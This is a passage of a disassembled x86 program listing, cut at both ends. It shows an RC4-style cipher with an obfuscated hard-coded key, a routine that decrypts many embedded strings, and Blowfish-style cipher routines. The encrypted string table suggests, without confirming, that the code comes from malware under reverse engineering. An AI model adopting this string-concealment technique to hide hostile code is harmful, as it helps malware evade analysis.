var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = byte ptr -2Ah
var_29 = byte ptr -29h
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = byte ptr -26h
var_25 = byte ptr -25h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = byte ptr -22h
var_21 = byte ptr -21h
var_20 = byte ptr -20h
var_1F = byte ptr -1Fh
var_1E = byte ptr -1Eh
var_1D = byte ptr -1Dh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 394h
push ebx
push esi
lea eax, [ebp+var_40]
push edi
xor ebx, ebx
push eax
xor edi, edi
mov [ebp+var_40], 0Ah
mov [ebp+var_3F], 0Eh
mov [ebp+var_3E], 20h
mov [ebp+var_3D], 48h
mov [ebp+var_3C], 0Bh
mov [ebp+var_3B], 2Bh
mov [ebp+var_3A], 0Ch
mov [ebp+var_39], 23h
mov [ebp+var_38], 3Ah
mov [ebp+var_37], 27h
mov [ebp+var_36], 28h
mov [ebp+var_35], 5Eh
mov [ebp+var_34], 2Ah
mov [ebp+var_33], 1Eh
mov [ebp+var_32], 2Dh
mov [ebp+var_31], 5Ah
mov [ebp+var_30], 1Bh
mov [ebp+var_2F], 0Fh
mov [ebp+var_2E], 4Ch
mov [ebp+var_2D], 44h
mov [ebp+var_2C], 16h
mov [ebp+var_2B], 4
mov [ebp+var_2A], 57h
mov [ebp+var_29], 23h
mov [ebp+var_28], 11h
mov [ebp+var_27], 53h
mov [ebp+var_26], 38h
mov [ebp+var_25], 13h
mov [ebp+var_24], 0Dh
mov [ebp+var_23], 12h
mov [ebp+var_22], 25h
mov [ebp+var_21], 1Ch
mov [ebp+var_20], 30h
mov [ebp+var_1F], 12h
mov [ebp+var_1E], 50h
mov [ebp+var_1D], 4Fh
mov [ebp+var_1C], 39h
mov [ebp+var_1B], 10h
mov [ebp+var_1A], 42h
mov [ebp+var_19], 1Fh
mov [ebp+var_18], 37h
mov [ebp+var_17], 1Dh
mov [ebp+var_16], 41h
mov [ebp+var_15], 55h
mov [ebp+var_14], 2Ch
mov [ebp+var_13], 41h
mov [ebp+var_12], 2Ch
mov [ebp+var_11], 5Dh
mov [ebp+var_10], bl
call sub_4292D0
mov esi, 1A5h
mov [ebp+var_C], eax
push esi
lea eax, [ebp+var_1EC]
push ebx
push eax
call sub_429690
push esi
lea eax, [ebp+var_394]
push ebx
push eax
call sub_429690
add esp, 1Ch
xor eax, eax
mov ecx, 1A4h
loc_4163FF: ; CODE XREF: sub_4162F5+114j
mov [ebp+eax+var_1EC], al
inc eax
cmp eax, ecx
jb short loc_4163FF
xor esi, esi
loc_41640D: ; CODE XREF: sub_4162F5+12Ej
cmp edi, [ebp+var_C]
jnz short loc_416414
xor edi, edi
loc_416414: ; CODE XREF: sub_4162F5+11Bj
mov al, [ebp+edi+var_40]
inc edi
mov [ebp+esi+var_394], al
inc esi
cmp esi, ecx
jb short loc_41640D
xor edx, edx
xor edi, edi
loc_416429: ; CODE XREF: sub_4162F5+168j
movzx ebx, [ebp+edi+var_394]
lea esi, [ebp+edi+var_1EC]
add edx, ebx
mov ebx, ecx
mov al, [esi]
mov [ebp+var_1], al
movzx eax, al
add eax, edx
xor edx, edx
div ebx
inc edi
cmp edi, ecx
lea eax, [ebp+edx+var_1EC]
mov bl, [eax]
mov [esi], bl
mov bl, [ebp+var_1]
mov [eax], bl
jb short loc_416429
xor eax, eax
cmp [ebp+arg_4], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
jbe short loc_4164CB
jmp short loc_416471
; ---------------------------------------------------------------------------
loc_41646E: ; CODE XREF: sub_4162F5+1D4j
mov eax, [ebp+var_44]
loc_416471: ; CODE XREF: sub_4162F5+177j
inc eax
xor edx, edx
mov esi, ecx
mov edi, ecx
div esi
mov [ebp+var_44], edx
lea esi, [ebp+edx+var_1EC]
xor edx, edx
mov bl, [esi]
movzx eax, bl
add eax, [ebp+var_C]
div edi
mov [ebp+var_C], edx
lea eax, [ebp+edx+var_1EC]
mov dl, [eax]
mov [esi], dl
mov edx, [ebp+var_8]
mov [eax], bl
mov eax, [ebp+arg_0]
lea edi, [edx+eax]
movzx eax, byte ptr [esi]
movzx edx, bl
add eax, edx
xor edx, edx
mov esi, ecx
div esi
mov al, [ebp+edx+var_1EC]
xor [edi], al
inc [ebp+var_8]
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jb short loc_41646E
loc_4164CB: ; CODE XREF: sub_4162F5+175j
pop edi
pop esi
pop ebx
leave
retn
sub_4162F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4164D0 proc near ; CODE XREF: sub_418D49+76p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
push esi
mov edi, offset dword_443990
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_44399C
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_443E48
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_443E6C
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_443E90
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
xor ebx, ebx
cmp [ebp+arg_0], esi
jle short loc_416579
loc_416557: ; CODE XREF: sub_4164D0+A7j
lea edi, ds:443EE0h[ebx*4]
push esi
push esi
push dword ptr [edi]
call sub_4292D0
pop ecx
push eax
push dword ptr [edi]
call sub_4162F5
add esp, 10h
inc ebx
cmp ebx, [ebp+arg_0]
jl short loc_416557
loc_416579: ; CODE XREF: sub_4164D0+85j
push esi
mov edi, offset dword_443EF4
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset off_443EF8
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset byte_457F4C
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset byte_457F4D
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_443EFC
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_443F04
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_443F0C
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_443F14
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
mov eax, [ebp+arg_4]
add esp, 10h
cmp eax, esi
jle short loc_41667F
mov edi, offset byte_443FBF
mov [ebp+arg_0], eax
loc_416648: ; CODE XREF: sub_4164D0+1ADj
lea ebx, [edi-9Fh]
push esi
push esi
push ebx
call sub_4292D0
pop ecx
push eax
push ebx
call sub_4162F5
add esp, 10h
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
add edi, 0B8h
dec [ebp+arg_0]
jnz short loc_416648
loc_41667F: ; CODE XREF: sub_4164D0+16Ej
push esi
mov edi, offset dword_444EF4
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset byte_444FF3
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_445304
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset byte_445403
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_445714
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset byte_445813
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset a3c9 ; "]&3c9"
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_4439A4
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
push esi
mov edi, offset dword_443A3C
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset byte_443B3B
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_4439B0
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
mov edi, offset dword_4439CC
push esi
push esi
push edi
call sub_4292D0
pop ecx
push eax
push edi
call sub_4162F5
add esp, 10h
push esi
push esi
mov esi, offset loc_4439E8
push esi
call sub_4292D0
pop ecx
push eax
push esi
call sub_4162F5
add esp, 10h
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4164D0 endp
; =============== S U B R O U T I N E =======================================
sub_4167BC proc near ; CODE XREF: sub_417010+65p
; sub_41714C+68p
var_8 = dword ptr -8
push esi
push 48h
mov esi, ecx
call sub_42B407
mov [esi], eax
mov [esp+8+var_8], 13A0h
call sub_42B407
mov [esi+4], eax
pop ecx
mov eax, esi
pop esi
retn
sub_4167BC endp
; =============== S U B R O U T I N E =======================================
sub_4167DC proc near ; CODE XREF: sub_417010+12Bp
; sub_41714C+13Fp
push esi
mov esi, ecx
push dword ptr [esi]
call sub_429006
push dword ptr [esi+4]
call sub_429006
pop ecx
pop ecx
pop esi
retn
sub_4167DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167F2 proc near ; CODE XREF: sub_416ED6+C0p
; sub_416ED6+F3p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov edi, [ecx]
mov edx, [eax]
mov eax, [ecx+4]
xor ecx, ecx
xor edx, [edi]
xor ebx, ebx
mov [ebp+var_C], edi
mov [ebp+var_4], edx
mov esi, edx
mov cl, byte ptr [ebp+var_4+2]
mov bl, dh
shr esi, 18h
mov ecx, [eax+ecx*4+4E8h]
add ecx, [eax+esi*4]
mov esi, 0FFh
and edx, esi
xor ecx, [eax+ebx*4+9D0h]
add ecx, [eax+edx*4+0EB8h]
mov edx, [ebp+arg_4]
xor ecx, [edi+4]
xor ecx, [edx]
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+8]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
and edi, esi
xor edx, [eax+ebx*4+9D0h]
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+0Ch]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+10h]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
xor edx, [eax+ebx*4+9D0h]
and edi, esi
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+14h]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+18h]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
and edi, esi
xor edx, [eax+ebx*4+9D0h]
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+1Ch]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+20h]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
and edi, esi
xor edx, [eax+ebx*4+9D0h]
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+24h]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor edx, [edi+28h]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
xor ebx, ebx
add edx, [eax+edi*4]
mov bl, byte ptr [ebp+var_4+1]
mov edi, [ebp+var_4]
xor edx, [eax+ebx*4+9D0h]
and edi, esi
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+2Ch]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+30h]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
and edi, esi
xor edx, [eax+ebx*4+9D0h]
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+34h]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+38h]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
and edi, esi
xor edx, [eax+ebx*4+9D0h]
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+3Ch]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
mov eax, [ebp+var_4]
xor edx, [edi+40h]
xor eax, edx
mov edx, [ebp+arg_4]
xor ecx, [edi+44h]
pop edi
mov [edx], eax
mov eax, [ebp+arg_0]
pop esi
pop ebx
mov [eax], ecx
leave
retn 8
sub_4167F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B63 proc near ; CODE XREF: sub_41714C+D5p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov edi, [ecx]
xor ebx, ebx
mov [ebp+var_C], edi
mov edx, [edi+44h]
xor edx, [eax]
mov eax, [ecx+4]
xor ecx, ecx
mov [ebp+var_4], edx
mov esi, edx
mov cl, byte ptr [ebp+var_4+2]
mov bl, dh
shr esi, 18h
mov ecx, [eax+ecx*4+4E8h]
add ecx, [eax+esi*4]
mov esi, 0FFh
and edx, esi
xor ecx, [eax+ebx*4+9D0h]
add ecx, [eax+edx*4+0EB8h]
mov edx, [ebp+arg_4]
xor ecx, [edi+40h]
xor ecx, [edx]
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+3Ch]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
and edi, esi
xor edx, [eax+ebx*4+9D0h]
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+38h]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+34h]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
xor edx, [eax+ebx*4+9D0h]
and edi, esi
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+30h]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+2Ch]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
and edi, esi
xor edx, [eax+ebx*4+9D0h]
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+28h]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+24h]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
and edi, esi
xor edx, [eax+ebx*4+9D0h]
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+20h]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor edx, [edi+1Ch]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
xor ebx, ebx
add edx, [eax+edi*4]
mov bl, byte ptr [ebp+var_4+1]
mov edi, [ebp+var_4]
xor edx, [eax+ebx*4+9D0h]
and edi, esi
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+18h]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+14h]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
and edi, esi
xor edx, [eax+ebx*4+9D0h]
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+10h]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
xor ebx, ebx
xor edx, [edi+0Ch]
xor [ebp+var_4], edx
xor edx, edx
mov dl, byte ptr [ebp+var_4+2]
mov edi, [ebp+var_4]
mov bl, byte ptr [ebp+var_4+1]
mov edx, [eax+edx*4+4E8h]
shr edi, 18h
add edx, [eax+edi*4]
mov edi, [ebp+var_4]
and edi, esi
xor edx, [eax+ebx*4+9D0h]
add edx, [eax+edi*4+0EB8h]
mov edi, [ebp+var_C]
xor edx, [edi+8]
xor ecx, edx
xor edx, edx
mov [ebp+var_8], ecx
mov ebx, ecx
mov dl, byte ptr [ebp+var_8+2]
shr ebx, 18h
mov edx, [eax+edx*4+4E8h]
add edx, [eax+ebx*4]
xor ebx, ebx
mov bl, ch
xor edx, [eax+ebx*4+9D0h]
mov ebx, ecx
and ebx, esi
add edx, [eax+ebx*4+0EB8h]
mov eax, [ebp+var_4]
xor edx, [edi+4]
xor eax, edx
mov edx, [edi]
xor edx, ecx
mov ecx, [ebp+arg_0]
pop edi
pop esi
mov [ecx], edx
mov ecx, [ebp+arg_4]
pop ebx
mov [ecx], eax
leave
retn 8
sub_416B63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416ED6 proc near ; CODE XREF: sub_417010+76p
; sub_41714C+79p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
xor esi, esi
push edi
mov [ebp+var_8], ecx
xor eax, eax
loc_416EE6: ; CODE XREF: sub_416ED6+21j
mov edx, [ecx]
mov edi, dword_441760[eax]
mov [eax+edx], edi
add eax, 4
cmp eax, 48h
jl short loc_416EE6
xor eax, eax
loc_416EFB: ; CODE XREF: sub_416ED6+41j
mov edx, 13Ah
loc_416F00: ; CODE XREF: sub_416ED6+3Aj
mov edi, [ecx+4]
mov ebx, dword_4417A8[eax]
mov [eax+edi], ebx
add eax, 4
dec edx
jnz short loc_416F00
cmp eax, 13A0h
jl short loc_416EFB
mov ebx, [ebp+arg_0]
mov [ebp+var_4], esi
loc_416F1F: ; CODE XREF: sub_416ED6+A9j
lea eax, [esi+1]
cdq
idiv [ebp+arg_4]
mov eax, [ebp+var_8]
movzx edi, byte ptr [esi+ebx]
mov eax, [eax]
shl edi, 18h
and edi, 0FF00FFFFh
movzx ecx, byte ptr [edx+ebx]
mov edx, [ebp+var_4]
add [ebp+var_4], 4
add edx, eax
lea eax, [esi+2]
mov [ebp+var_C], edx
cdq
idiv [ebp+arg_4]
shl ecx, 10h
xor ecx, edi
xor eax, eax
xor cx, cx
mov ah, [edx+ebx]
xor eax, ecx
mov ecx, eax
lea eax, [esi+3]
cdq
idiv [ebp+arg_4]
movzx eax, byte ptr [edx+ebx]
or ecx, eax
mov eax, [ebp+var_C]
xor [eax], ecx
lea eax, [esi+4]
cdq
idiv [ebp+arg_4]
cmp [ebp+var_4], 48h
mov esi, edx
jl short loc_416F1F
xor esi, esi
mov [ebp+arg_4], esi
mov [ebp+arg_0], esi
loc_416F89: ; CODE XREF: sub_416ED6+DCj
mov edi, [ebp+var_8]
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+arg_4]
push eax
mov ecx, edi
call sub_4167F2
mov eax, [edi]
mov ecx, [ebp+arg_4]
mov [esi+eax], ecx
mov eax, [edi]
mov ecx, [ebp+arg_0]
mov [esi+eax+4], ecx
add esi, 8
cmp esi, 48h
jl short loc_416F89
push 4
pop esi
loc_416FB7: ; CODE XREF: sub_416ED6+117j
mov ebx, 9Dh
loc_416FBC: ; CODE XREF: sub_416ED6+10Fj
mov edi, [ebp+var_8]
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+arg_4]
push eax
mov ecx, edi
call sub_4167F2
mov eax, [edi+4]
mov ecx, [ebp+arg_4]
mov [esi+eax-4], ecx
mov eax, [edi+4]
mov ecx, [ebp+arg_0]
mov [esi+eax], ecx
add esi, 8
dec ebx
jnz short loc_416FBC
cmp esi, 13A4h
jl short loc_416FB7
pop edi
pop esi
pop ebx
leave
retn 8
sub_416ED6 endp
; =============== S U B R O U T I N E =======================================
sub_416FF6 proc near ; CODE XREF: sub_41714C+9Ap
; sub_41714C+B5p
arg_0 = byte ptr 4
xor eax, eax
loc_416FF8: ; CODE XREF: sub_416FF6+15j
mov ecx, off_442B48
mov cl, [ecx+eax]
cmp cl, [esp+arg_0]
jz short locret_41700F
inc eax
cmp eax, 40h
jl short loc_416FF8
xor eax, eax
locret_41700F: ; CODE XREF: sub_416FF6+Fj
retn
sub_416FF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417010 proc near ; CODE XREF: sub_41553D+1Ep
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push [ebp+arg_4]
mov esi, dword_437088
call esi ; dword_437088
add eax, 9
push eax
call sub_42B407
pop ecx
mov ebx, eax
push [ebp+arg_4]
push ebx
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_0]
test eax, eax
jz loc_417146
cmp byte ptr [eax], 0
jz loc_417146
push edi
mov edi, ebx
push [ebp+arg_4]
call esi ; dword_437088
lea eax, [eax+eax+12h]
push eax
call sub_42B407
cmp byte ptr [ebx], 0
pop ecx
